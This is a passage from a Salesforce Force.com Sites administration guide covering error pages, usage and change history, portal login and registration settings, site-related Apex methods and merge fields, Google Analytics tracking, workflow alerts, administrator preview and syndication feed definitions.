page is rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned
as the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests
only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations.
If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers
are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but
http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by
default.
Note: The static resource:

- Must be a public zip file 1 MB or smaller.


- Must contain a page named maintenance.html at the root level of the zip file. Other resources in the
zip file, such as images or CSS files, can follow any directory structure.
- Must contain only files that have file extensions.

• Page Not Found Page—The page users see when trying to access a page that cannot be found.

Note: You can use the action attribute on an <apex:page> component to redirect the Page Not Found error
page. Using this kind of redirect on any other error pages will redirect users to the Maintenance page.

• Generic Error Page—The page users see when encountering generic exceptions.

5. Click Save.
6. On the Site Details page, click Preview to view the associated page as it would appear in a browser.

1283
Force.com Sites Viewing 24-Hour Site Usage History

Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom
Visualforce error pages to view detailed site error messages in administrator preview mode.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages

Viewing 24-Hour Site Usage History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By
closely monitoring your sites, you can avoid exceeding your limits.
To view the 24-hour usage history for your site:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing
time.

The 24-Hour Usage History related list tracks and displays the following usage metrics for your site:

• Origin Bandwidth—Bandwidth is calculated as the number of megabytes served and received from the site's origin server.
The Daily Limit applies to a rolling 24-hour period.
• Request Time—“Service request time” is calculated as the total server time in minutes required to generate pages for the
site. The Daily Limit applies to a rolling 24-hour period.

“Origin server” refers to the Web server that hosts your site. “Rolling 24-hour period” refers to the 24 hours immediately
preceding the current time.

1284
Force.com Sites Viewing Force.com Site History

For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.

See Also:
Sites Overview
Sites Considerations
Setting Up Sites
Configuring Sites
Tracking Your Site with Google Analytics
Reporting on Sites

Viewing Force.com Site History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

To view the site history:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to view.
3. View the Site History related list.

The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the
site history, along with the user who made the change and the time it occurred:

Event Description
Site Creation Logs when each site was created.
Site Detail Changes Changes to the following site values are logged:
• Site Label
• Site Name
• Site Description
• Site Contact
• Default Web Address
• Custom Web Address
• Active Status
• Active Site Home Page
• Inactive Site Home Page
• Site Template
• Site Robots.txt
• Site Favorite Icon

1285
Force.com Sites Managing Force.com Site Login and Registration Settings

Event Description
• Analytics Tracking Code
• Enable Feeds

Site Standard Pages Logs when any standard page is enabled or disabled.
Site Error Pages Logs when any error page assignment is changed.
Login Settings Changes Changes to the following login settings are logged:
• Portal
• Change Password Page
• Require Non-Secure Connections (HTTP)

See Also:
Sites Overview
Setting Up Sites
Configuring Sites

Managing Force.com Site Login and Registration Settings


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Use login settings if you want to let users register for and log in to your portal from your public Force.com site. For example,
users browsing through an ideas site can register and login directly from that site, and as authenticated users, they can then
vote, add comments, and participate in the ideas community. When users successfully log in, they leave the public site and
enter the associated portal seamlessly.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.

Force.com sites provides built-in registration and login logic. Default Force.com-branded Visualforce pages are associated
with registration, login, forgot password, and password change processes. You can modify these pages or replace them with
your own.
The following default login and registration pages are provided by default:

1286
Force.com Sites Managing Force.com Site Login and Registration Settings

Page Name Description


SiteLogin Default login page. Used to log users in to the associated portal
from your Force.com site.
SiteRegister Default registration page. Used to register new users for the
associated Customer Portal from your Force.com site.
SiteRegisterConfirm Default registration confirmation page. The page that users
see on successful registration to the associated Customer
Portal.

Note: The login and registration forms must be secure. Set the forceSSL attribute to true for these forms. However,
salesforce.com recommends that you set forceSSL to false for forms accessed by users who have already been
authenticated, such as portal users. Since the forceSSL attribute forces a redirect to a secure URL, authenticated
users would encounter an error.

The built-in login process:

• Checks to see whether the site is enabled for logins


• Checks to see whether the user is a valid user for the site
• Allows users to reset expired passwords

The built-in registration process:

• Checks new user information against existing users for the Customer Portal associated with the site
• Checks to see if a contact already exists for the new user
• Creates a new contact, if one doesn't already exist, and associates it with the account for the site
Important: You must update the SiteRegisterController with the Account ID using the following steps:

1. Click Setup ➤ Develop ➤ Apex Classes.


2. Click Edit next to SiteRegisterController.
3. Find the private static Id PORTAL_ACCOUNT_ID = '<Account_ID>'; line and insert the ID for
the account that you want to associate with new users. The line should look similar to this:

private static Id PORTAL_ACCOUNT_ID = '001DoooooolQpyk';

4. Click Save.

• Enables the Customer Portal for the new user and sends an email confirmation message
• Optionally, allows users to create passwords on the registration page, avoiding the standard email confirmation process

To enable public login and registration for your portal:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to control.
3. Click Login Settings.
4. Click Edit.

1287
Force.com Sites Managing Force.com Site Login and Registration Settings

5. From the Enable Login For list, select a portal to associate with your site. The portal you choose must have the Login
Enabled option selected. For Customer Portals, you must also select the Self-Registration Enabled option.
Force.com Sites leverages the following portal settings:

• Logout URL is used if you want to take users to a specific page on logout. If this value is left blank, users are taken to
the page specified in the Active Site Home Page field for your site.
• Lost Password Template is used for the forgot password process.
• Header, Footer, Logo, and Login Message are used for the look and feel on IdeasHome and AnswersHome pages.
• For Customer Portals:

- New User Template is used on self-registration if a password is not provided.


- Default New User License, Default New User Role, and Default New User Profile are used for
self-registration.

6. Select a Change Password Page. A default page is provided, but you can select your own page instead, using the lookup
field.
7. Select the Require Non-Secure Connections (HTTP) checkbox if you want to override your organization's security
settings and exclusively use HTTP when logging in to the portal from your site. If this checkbox is not selected, the
Require Secure Connections (HTTPS) setting found at Setup ➤ Security Controls ➤ Session Settings is used
to determine the security level.
The following table illustrates the relationship between these settings.

Site-Level Security: Require Organization-Level Security: Require Description


Non-Secure Connections (HTTP) Secure Connections (HTTPS)
Not checked Not checked • Organization can use either HTTP
or HTTPS
• Site uses HTTP for the post-login
session

Checked Not checked • Organization can use either HTTP


or HTTPS
• Site uses HTTP for the post-login
session

Not checked Checked • Organization uses only HTTPS


• Site uses HTTPS for the post-login
session
• Upon login, users see the
secure.force.com domain

Checked Checked • Organization uses only HTTPS


• Site uses HTTP for the post-login
session

1288
Force.com Sites Associating a Portal with Sites

Caution: If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected,
and the Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected,
users logging in to the associated portal from the site will see the secure.force.com domain. For example, if
you registered mycompany.force.com as your custom domain, the URL changes to
https://mycompany.secure.force.com upon login.

Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set
for the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL
using refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.

8. The Secure Web Address field shows the unique Force.com URL for this site when using SSL.
9. Click Save.

You can also enable Sites to use your identity provider for single sign-on.
Note: For ideas and answers, the community associated with the portal must have one or all portals selected in the
Portal drop-down list on the community detail page. To find the community detail page, click Setup ➤ Customize
➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Associating a Portal with Sites
Sites-Related Apex Methods and Expressions
Setting Up Your Customer Portal

Associating a Portal with Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

You can enable users to register for or log into an associated portal seamlessly from your site.
Note: Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.

1. Enable the portal for login using the following steps:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.

1289
Force.com Sites Associating a Portal with Sites

b. If you have not enabled your portal, select Enable Customer Portal or Enable Partner Relationship
Management and click Save.
c. Click Edit for the portal you want to modify.
d. Configure the portal as follows:

i. Select the Login Enabled checkbox.


ii. Select a user for the Administrator field.
iii. Optionally, set the Logout URL. If this is not set, users are taken to the site home page on logout.
iv. Click Save.

2. If you are using a Customer Portal and want to allow self-registration, follow these steps:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


b. Click Edit for the portal you want to associate with your Force.com site.
c. Configure the Customer Portal as follows:
i. Select Self-Registration Enabled.
ii. Select Customer Portal User for both the Default New User License and Default New User Profile
fields. Depending on your portal license, you may want to select a different profile for the Default New User
Profile field.
iii. Select User for the Default New User Role field.
iv. Click Save.

3. Associate the site pages with the default portal users:

a. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings, or click Setup ➤ Customize ➤ Partners ➤ Settings.
b. Click the name of the portal that you want to associate with your site.
c. Click the name of each profile associated with your portal users and do the following:

i. Scroll down to the Enabled Visualforce Page Access section and click Edit.
ii. Add the appropriate public site pages to the Enabled Visualforce Pages list. This allows portal users with
that profile to view these pages.
Note: By default, portal users can see all pages enabled for the associated public site, so you only have to
enable the pages that require authentication.

iii. Click Save.

4. Associate your site with the login-enabled portal:

a. Click Setup ➤ Develop ➤ Sites.


b. Click the site label of the site you want to configure.
c. Click Login Settings.
d. Click Edit.
e. From the Enable Login For drop-down list, select the name of the portal where you want to allow login.
f. Select the Change Password Page.
g. Click Save.

For more information, see Managing Force.com Site Login and Registration Settings.

1290
Force.com Sites Sites-Related Apex Methods and Expressions

Note: For ideas and answers sites, you must make the community visible in the portal and enable the IdeasHome or
AnswersHome page for the site. To associate the community with one or more portals:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.


2. Click Edit next to the community you want to make public.
3. From the Portal drop-down list, select the portal to use for this community. You can choose to show the
community in all portals.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Login and Registration Settings
Setting Up Your Customer Portal

Sites-Related Apex Methods and Expressions


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com Apex Methods


Force.com provides the following Apex methods for use with the site class and Force.com sites:

Name Arguments Return Type Description


changePassword String newpassword System.PageReference Changes the password of the current
user.
String
verifynewpassword

String opt_oldpassword

createPortalUser sObject user Id Creates a portal user for the given


account and associates it with the
String accountId
site's portal. Note that the nickname
String opt_password field is required for the user sObject
when using the createPortalUser
method.
Note: This method is only
valid when a site is associated
with a Customer Portal.

1291
Force.com Sites Sites-Related Apex Methods and Expressions

Name Arguments Return Type Description


forgotPassword String username Boolean Resets the user's password and sends
an email to the user with their new
password. Returns a value indicating
whether the password reset was
successful or not.
getAnalyticsTrackingCode String The tracking code associated with
your site. This code can be used by
services like Google Analytics to track
page request data for your site.
getCurrentSiteUrl String Returns the value of the site URL for
the current request (for example,
http://myco.com/ or
https://myco.force.com/prefix/).

getCustomWebAddress String Returns the value of the Custom Web


Address field for the current site.

getDomain String Returns the Force.com domain name


for your organization.
getErrorDescription String Returns the error description for the
current page if it is a designated error
page for the site and an error exists;
otherwise, returns an empty string.
getErrorMessage String Returns an error message for the
current page if it is a designated error
page for the site and an error exists;
otherwise, returns an empty string.
getName String Returns the API name of the current
site.
getOriginalUrl String Returns the original URL for this
page if it is a designated error page
for the site; otherwise, returns null.
getPrefix String Returns the URL path prefix of the
current site. For example, if your site
URL is
myco.force.com/partners,
partners is the path prefix. Returns
null if the prefix is not defined, or if
the page was accessed using a custom
Web address.
getTemplate System.PageReference Returns the template name associated
with the current site; returns the
default template if no template has
been designated.
isLoginEnabled Boolean Returns true if the current site is
associated with an active

1292
Force.com Sites Sites-Related Apex Methods and Expressions

Name Arguments Return Type Description


login-enabled portal; otherwise
returns false.
isPasswordExpired Boolean For authenticated users, returns true
if the currently logged-in user's
password is expired. For
non-authenticated users, returns
false.

isRegistrationEnabled Boolean Returns true if the current site is


associated with an active
self-regitration-enabled Customer
Portal; otherwise returns false.
login String username System.PageReference Allows users to log in to the current
site with the given username and
String password
password, then takes them to the
String startUrl startUrl If startUrl is not a
relative path, it defaults to the site's
designated index page.
Note: Do not include
http:// or https:// in
the startURL.

Force.com provides the following Apex methods for use with the cookie class and Force.com sites:

Name Arguments Return Type Description


getDomain String Returns the name of the server
making the request.
getMaxAge Integer Returns a number representing how
long the cookie is valid for, in
seconds. If set to < 0, a session
cookie is issued. If set to 0, the cookie
is deleted.
getName String Returns the name of the cookie. Can't
be null.
getPath String Returns the path from which you can
retrieve the cookie. If null or blank,
the location is set to root, or “/”.
getValue String Returns the data captured in the
cookie, such as Session ID.
isSecure Boolean Returns true if the cookie can only
be accessed through HTTPS,
otherwise returns false.

1293
Force.com Sites Sites-Related Apex Methods and Expressions

Force.com provides the following Apex methods for use with the urlRewriter instance and Force.com sites:

Name Arguments Return Type Description


generateUrlFor System.PageReference[] System.PageReference[] Maps a list of Salesforce.com URLs
to a list of user-friendly URLs. You
can use List<PageReference>
instead of PageReference[], if you
prefer.
Important: The size and
order of the input list of
Salesforce.com URLs must
exactly correspond to the size
and order of the generated
list of user-friendly URLs.
The generateUrlFor
method maps input URLs
to output URLs based on the
order in the lists.

mapRequestUrl System.PageReference System.PageReference Maps a user-friendly URL to a


Salesforce.com URL.

For more information about the site and cookie classes, as well as the urlRewriter instance, see the Force.com Apex
Code Developer's Guide.

Force.com Sites-Related Expressions


Force.com also provides the following expressions to use on Visualforce pages, email templates, and s-controls:

Merge Field Description


{!$Site.Name} Returns the API name of the current site.
{!$Site.Domain} Returns the Force.com domain name for your organization.
{!$Site.CustomWebAddress} Returns the value of the Custom Web Address field for the current site.
{!$Site.OriginalUrl} Returns the original URL for this page if it is a designated error page for the
site; otherwise, returns null.
{!$Site.CurrentSiteUrl} Returns the value of the site URL for the current request (for example,
http://myco.com/ or https://myco.force.com/prefix/).

{!$Site.LoginEnabled} Returns true if the current site is associated with an active login-enabled
portal; otherwise returns false.
{!$Site.RegistrationEnabled} Returns true if the current site is associated with an active
self-regitration-enabled Customer Portal; otherwise returns false.
{!$Site.IsPasswordExpired} For authenticated users, returns true if the currently logged-in user's password
is expired. For non-authenticated users, returns false.
{!$Site.AdminEmailAddress} Returns the value of the Site Contact field for the current site.

1294
Force.com Sites Tracking Your Site with Google Analytics

Merge Field Description


{!$Site.Prefix} Returns the URL path prefix of the current site. For example, if your site
URL is myco.force.com/partners, partners is the path prefix. Returns
null if the prefix is not defined, or if the page was accessed using a custom
Web address.
{!$Site.Template} Returns the template name associated with the current site; returns the default
template if no template has been designated.
{!$Site.ErrorMessage} Returns an error message for the current page if it is a designated error page
for the site and an error exists; otherwise, returns an empty string.
{!$Site.ErrorDescription} Returns the error description for the current page if it is a designated error
page for the site and an error exists; otherwise, returns an empty string.
{!$Site.AnalyticsTrackingCode} The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.

Note: To use these expressions, the Force.com sites feature must be enabled for your organization. You must also use
them within the context of your public site; otherwise, an empty string is returned for all expressions except
{!$Site.Template}, which returns the default template for the site.

See Also:
Sites Overview
Setting Up Sites
Configuring Sites
Managing Force.com Site Login and Registration Settings

Tracking Your Site with Google Analytics


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Force.com sites provides out-of-the-box integration with Google Analytics. Use Google Analytics to track the usage of your
sites and site pages, including number of visits, number of page views, average time spent on site, and more.
Note: The <site:googleAnalyticsTracking/> component only works on pages used in a Force.com site. Sites
must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a
tracking code, go to the Google Analytics website.

To track a site using Google Analytics:

1. Sign up for an account at Google Analytics.

1295
Force.com Sites Using Workflow for Sites

2. Add a new profile in Google Analytics and enter the domain or full URL for the site you want to track.
3. Copy the Web Property ID from Google's tracking status information and paste it into the Analytics Tracking
Code field on the Site Edit page for the site you want to track. The Web property ID starts with the letters UA followed
by your account and profile numbers. For example, UA-9049246-2.
4. Click Save.
5. To track the Visualforce pages associated with your site, enter the following tag in the site template for those pages, or in
the individual pages themselves:

<site:googleAnalyticsTracking/>

Pages that don't contain the tag and aren't associated with a site template that contains the tag won't be tracked. The
default site template already contains the tag, so all pages using that template will be tracked—including certain default
pages.
Note: Google recommends adding the component at the bottom of the page to avoid increasing page load time.

6. Go to the Google Analytics site and follow their instructions for completing the process. After signing up, it may take up
to 24 hours to see initial tracking results in Google Analytics.

Tip: To track multiple sites separately, create separate profiles using the full site URLs and enter a different Web
property ID in the Analytics Tracking Code field for each site.

See Also:
Sites Overview
Managing Sites
Creating and Editing Sites
Viewing 24-Hour Site Usage History
Reporting on Sites

Using Workflow for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create or change workflow rules: “Customize Application”
To create and edit Force.com sites: “Customize Application”

With workflow for sites, you can create workflow rules that trigger email alerts when certain site-related criteria are met. For
example, create a rule that sends your site administrator an email alert when bandwidth usage reaches 80% of the daily bandwidth
limit or when a site's status changes from the active state.

1296
Force.com Sites Using Workflow for Sites

Setting up the right site usage workflow rules can help you keep your sites from exceeding rolling 24-hour limits for bandwidth
and service request time, and monthly limits for page views. Workflow rules that are created on the Site object are evaluated
every hour for all sites within the organization, unless your criteria is limited to certain sites. Workflow rules that are created
on the Organization object are evaluated every three hours. Workflow rules are also evaluated whenever a site is edited or
saved.
Only email alerts actions are supported for site usage workflow rules. Other workflow actions, such as field updates, tasks, and
outbound messages, are not available.
To create a site usage workflow rule, click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules, then use the
workflow rule wizard with the following settings:
Select object
When selecting an object, choose either Organization (for monthly page views allowed and monthly page views used
fields) or Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields). These
objects are only available if Force.com sites are enabled for your organization.

Rule Criteria
Enter your rule criteria by doing one of the following:

• Choose criteria are met and select the filter criteria that a site must meet to trigger the rule. For example, to
trigger the rule every time the active status changes for a site within your organization, set the filter to Site Status
not equal to Active. To add more rows or to set up Advanced Filter Conditions, click Advanced
Options....
• Choose formula evaluates to true and enter a formula. The rule is triggered if the formula returns “True.”
For example, the following formula triggers the rule when bandwidth usage reaches 80% of the daily bandwidth
limit:

DailyBandwidthUsed >= 0.8 * DailyBandwidthLimit * 1000000

In the next example, the formula triggers the rule when time usage reaches 80% of the daily time limit:

DailyRequestTimeUsed >= 0.8* DailyRequestTimeLimit *60000

Note: In the first example, since DailyBandwidthUsed is measured in bytes and DailyBandwidthLimit
is measured in megabytes, a factor of one million is included in the second part of the formula. In the second
example, since DailyRequestTimeUsed is measured in milliseconds and DailyRequestTimeLimit is
measured in minutes, a factor of sixty thousand is included in the second part of the formula.

Workflow actions
When adding workflow actions, click Add Workflow Action and choose New Email Alert or Select Existing
Action.

1297
Force.com Sites Troubleshooting Sites Using Administrator Preview Mode

Tip: To create custom email templates using Site merge fields, click Setup ➤ Communication Templates ➤
Email Templates, then New Template. When configuring the template, use Site merge fields by selecting Site
Fields in the Select Field Type drop-down list of the Available Merge Fields section.

See Also:
Sites Overview

Troubleshooting Sites Using Administrator Preview Mode


Available in: Developer, Enterprise and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites: “Customize Application”

Administrator preview makes it easier to troubleshoot site errors. If you see errors on site pages and can't figure out the cause,
use administrator preview mode to look at them in context and in greater detail.
Note: Administrator preview mode is available for all active sites, including those with a branded custom Web address.

To access administrator preview mode:

1. Click Setup ➤ Develop ➤ Sites.


2. Click the name of the site you want to preview.
3. In the Site Detail section, click the Preview as Admin link. A new browser window opens with a preview of your site, and
the enhanced error message appears at the bottom of the page.
4. Click Logout of Administrator Preview Mode to clear the administrator cookie and be redirected to the site's home page.

The detailed error messages in administrator preview mode are driven by the <site:previewAsAdmin /> component in
your Visualforce error pages. Starting with Summer '10, new organizations include the <site:previewAsAdmin />
component by default in standard error pages. You must add the component manually to all custom error pages and pages
from older organizations. We recommend that you add it right before the closing </apex:page> tag, like this:

<site:previewAsAdmin />
</apex:page>

1298
Force.com Sites About Syndication Feeds

Note: The <site:previewAsAdmin /> component contains the <apex:messages /> tag, so if you have that
tag elsewhere on your error pages, you will see the detailed error message twice.

See Also:
Sites Overview
Creating and Editing Sites
Assigning Force.com Site Error Pages

About Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.

Validating Feeds Security


When a user subscribes to a feed, the information is run in a guest user context. This means that you must ensure the guest
user has access to all and only the records appropriate for a guest use before defining any queries.
To validate feeds security:
• Edit the public access setting for the site to make sure the guest user has the correct object permissions and field-level
security settings.
• Create sharing rules to control which records the guest user has access to.
After adjusting public access and field-level security settings to ensure the objects you wish to include in a feed are available
to the guest user, perform any of the following feeds-related tasks:

• To create a new feed, click New.


• To view the definition of an existing feed, click the feed name.
• To edit an existing feed, click Edit.
• To delete an existing feed, click Delete.

1299
Force.com Sites Defining Syndication Feeds

• To test the validity of a feed, click Run Test. If any errors exist in the query definition or mapping, error messages are
displayed.

See Also:
Defining Syndication Feeds
Testing Syndication Feeds
Public Access Settings for Sites
Setting Your Organization-Wide Sharing Model

Defining Syndication Feeds


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Create, edit, or delete a feed definition: “Modify All Data”
Subscribe to a feed No special user permission required

Syndication feeds give users the ability to subscribe to changes within Force.com sites and receive updates in external news
readers. Simply by defining a SOQL query and mapping, you can syndicate changes to public data to your end users. You can
create one or more syndication feeds for your organization's public sites or any Visualforce page. The syndication feed displays
the records specified by a SOQL query. Users can subscribe to the feed and view the feed when they visit the site or page.
Define a syndication feed, including what records are returned, and which data from the records is displayed:
Name
A descriptive name for this feed, which distinguishes it from other feeds you may create. Use only letters, numbers, or
the underscore character “_”. Do not use more than one underscore character in a row.

Description
Describe the feed. For example, “Account first name, last name, and region for the last ten accounts created or edited.”

Query
The SOQL query that defines which records are returned to the syndication feed. To ensure fast performance, some
limitations on the SOQL query are imposed:

• If the SOQL query does not specify a limit, then no more than 20 records are returned.
• Only the first 200 records are returned regardless of what the SOQL query specifies.
• If the SOQL query does not have an ORDER BY value specified, records are ordered by the LastModifiedDate
value if there is one, or by SystemModstamp value if not
• COUNT is not supported.
• Aggregate queries are not supported. For example, this query cannot be used in a syndication feeds SOQL query:

SELECT Name, (SELECT CreatedBy.Name FROM Notes) FROM Account

1300
Force.com Sites Defining Syndication Feeds

For more information about aggregate relationship queries, see the aggregate query examples in Web Services API
Developer's Guide.
• You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind
Variables for Queries and Mapping on page 1303.

Note: The guest user must have appropriate sharing and field-level security access or you cannot save your query,
because the Force.com platform verifies access and sharing before saving.

Mapping
Because syndication feeds use the ATOM web publishing protocol, you must provide a mapping value that matches
objects and fields on the returned records with ATOM constructs. Note that all values must be string literals. For more
information about mapping elements, see ATOM-Object Mapping on page 1301.
You can use bind variables, a variable whose value is supplied in the URL. For more information, see Using Bind Variables
for Queries and Mapping on page 1303.

Max Cache Age Seconds


Because many users may access a feed at the same time, Salesforce.com caches the feed data, for 3600 seconds by default.
You can modify this to a minimum of 300 seconds, or for as long as you wish. Query results that are older than the time
specified here are dropped, and a new query is run on the next request for that information, that is, the next time a user
opens a page containing a feed that they have subscribed to.

Active
Select this checkbox to make the feed available for subscription. Once a feed is active, users have the option of subscribing
to it.

ATOM-Object Mapping
You must specify a mapping in the syndication feed definition. The mapping relates ATOM constructs such as entry title to
the corresponding value in a record, for example, “Account Name.” A full set of mappings represents a news feed, and the
query represents the content of each news item in a feed. For example, Lead records created today or Contacts with updated
Account information.
A feed element is the envelope for each part of a news item, and an entry element is the contents of the envelope.
Mapping also allows you to apply short labels to various fields for display purposes.
The following table lists each ATOM and object element and explains what values should be provided:

Feed Element Entry Element Description


fa Required only if ea (entry author) is not specified. Feed author. For example, fa:"Acme
Feed Author Admin Mary" shows the feed author as Admin Mary.

fid Optional (because default value is supplied). Id of the feed. By default, this value is the
public site URL. If you specify a value, it must be a valid internationalized resource
identifier (IRI). An IRI is a URL generalized to allow the use of Unicode.
fl Optional (because default value is supplied). Feed link. For example,
fl:"http://www.salesforce.com". News readers usually interpret this element
by linking the feed title to this URL.

1301
Force.com Sites Defining Syndication Feeds

Feed Element Entry Element Description


fst Optional. Feed subtitle. For example, &map=ft:"Newest
Opportunities",fst:"Western Division" shows the feed title Newest
Opportunities and subtitle Western Division.
ft Required. Feed title. For example, ft:"Newest Opportunities".
ea Required only if fa (feed author) is not specified. Entry author. For example,
ea:"Account created by: " + Account.CreatedBy .

ec Required. Entry content. For example,ec:"description for " Name "<br>"


Description shows the value of the Name field with additional text. The output of a
feed for this example resembles the following:

description for Ajax Industries Description

ect Optional. Entry content of type text, html, or xhtml. For example, ect: html for
HTML content. Default is text.
el Optional. Entry link. Must be a valid URI. This value is usually a link to another
representation of the content for the entry. For example, the link could be to a record in
the Salesforce.com user interface. News readers usually interpret this element by linking
the entry title to this URL For example, el:"Account.URl".
es Optional. Entry summary. An optional summary of the entry content. For example, et:
Account.Name, es: Account.Name + "’s account number, website,
and description", ec: Account.Number + " " + Account.Website +
“ “ + Account.Description
If not specified, news readers display the content defined using the ec element.

est Optional. Entry summary of type text, html, or xhtml. For example, est: html for
HTML content. Default is text. Do not specify a value unless es has been specified.
et Required. Entry title, a field name. For example, et:Name.
eu Optional. By default, the required ATOM element <updated> value is automatically
provided by the LastModifedDate of the main entity being queried; usually the object
in the main FROM clause of the SOQL query. This value indicates the last time an entry
or feed was modified. If you wish to change this default behavior, you can specify a
different object or field's LastModifedDate be used. For example:
• Query: SELECT Id, Name, MyDate__c FROM AccountMapping Parameter:
eu: MyDate__c
• Query: SELECT Id, Lastname, Account.LastMOdifiedDate FROM
ContactMapping Parameter: eu: Account.LastModifiedDate

The following example shows a valid mapping values for a syndication feed:

ft: "Harry Potter", et: Name, ec: "description for " Name "<br>" Description, el: "/" Id,
ect: html

1302
Force.com Sites Defining Syndication Feeds

Feeds are displayed in the guest user context of the public site where they are displayed. Therefore, if you have used custom
labels to manage internationalization, and specified labels in your mapping, users see those labels displayed in the language of
the guest user. For more information, see Custom Labels and Feeds on page 1303.
You can only use string literals in feed mapping. You cannot use, for example, date literals such as TODAY or LAST_WEEK.
After you have defined a feed, you should test it, and then make the feed active by selecting the Active checkbox as described
above. For more information about testing, see Testing Syndication Feeds on page 1305.

Using Bind Variables for Queries and Mapping


You can use bind variables in the WHERE clause of the SOQL query. Bind variables must be in the following form:

{!var_name}

The following query uses a bind variable named accountID.

SELECT Name, Description


FROM Account
WHERE Id = {!accountID}

Note that this is not the literal name of the field, but an arbitrary name. At run time, the value for accountID is passed to
the query from the URL. This feed is accessed from the following URL and passes in the account ID as part of the query
string parameter:

site_URL/services/xml/My'Account'Feed?accountId=0013000000BmP4x

You can also use bind variables for mapping values.


The following implementation details apply to the use of bind variables for queries:
• You cannot use more than 20 bind variables in a feed definition, queries and mapping combined.
• The bind variable name cannot be more than 100 characters.
• You can use a bind variable only on the right side of a filter operation to represent part of a string. Because it represents
part of a string, it must be in quotes. For example, the following is a valid query:

SELECT Id, Name FROM Account WHERE Name = '{!myBindVariable}'

The following queries are not valid, because the bind variable is not in a valid position, and is not functioning as the variable
for a literal string:

SELECT Id, Name FROM Account WHERE {!myFieldName} = 'Joe'


SELECT Id, {!myFieldName} FROM Account WHERE IsDeleted = false

• You cannot use a bind variable to represent a field name. This means a bind variable cannot be use on the left side of a
filter operation.
• You cannot use a bind variable to change the meaning or structure of a query for security reasons. Any special characters
you specify in the bind replacement value are interpreted as literal characters when the query is evaluated.

Custom Labels and Feeds


For feeds that need to be localized into different languages, you can use custom labels to define the string in multiple languages.
Then in the mapping definition, you simply refer to the custom label. When a request come in, the custom label inspects the
guest user language and return the translated text, which is used in the mapping.

1303
Force.com Sites Defining Syndication Feeds

Custom labels can be specified in a field with the following syntax:

map_element_name: "{!$LABEL.custom_label_name}"

Use the following procedure to specify a custom label in a feed:


1. Create a custom label using the information in Creating and Editing Custom Labels on page 1366. You may wish to name
the custom label after the mapping element that takes its value, for example feedTitle for the ft element.
2. Enter the values for all supported languages.
3. Specify the custom label in the feed mapping.
For example, assume that you create a feed containing information on all the houses your company is trying to sell. For English
users, the title of the feed should be “The Houses,” but for Spanish users, the title of the feed should be “Las Casas.” You
would create a custom label, for example, feedTitle. In English, its value is “The Houses,” and the Spanish value is “Las
Casas.” Then, in the feed mapping definition, specify the following for the feed title fc::

ft: "{!$LABEL.feedTitle}"

Visualforce and Feeds


To add a feed to a Visualforce page, use the Visualforce standard HTML features. For example, assuming the Visualforce
page is located in the base directory of the site, it can contain a tag like the following:

<A HREF=""/services/xml/theFeedName">My feed</A>

The text My feed links to the feed.


If you want to link the feed from an image, include an inline image tag similar to the following:

<A HREF="/services/xml/theFeedName"><img src="feed.gif"></A>

You must upload your own image.


To add the icon to the address bar, add the link tag to the <head> tag of the Visualforce page:

<link href='URI of feed'


type='application/x.atom+xml'
rel='feed'
title='A nice descriptive title'/>

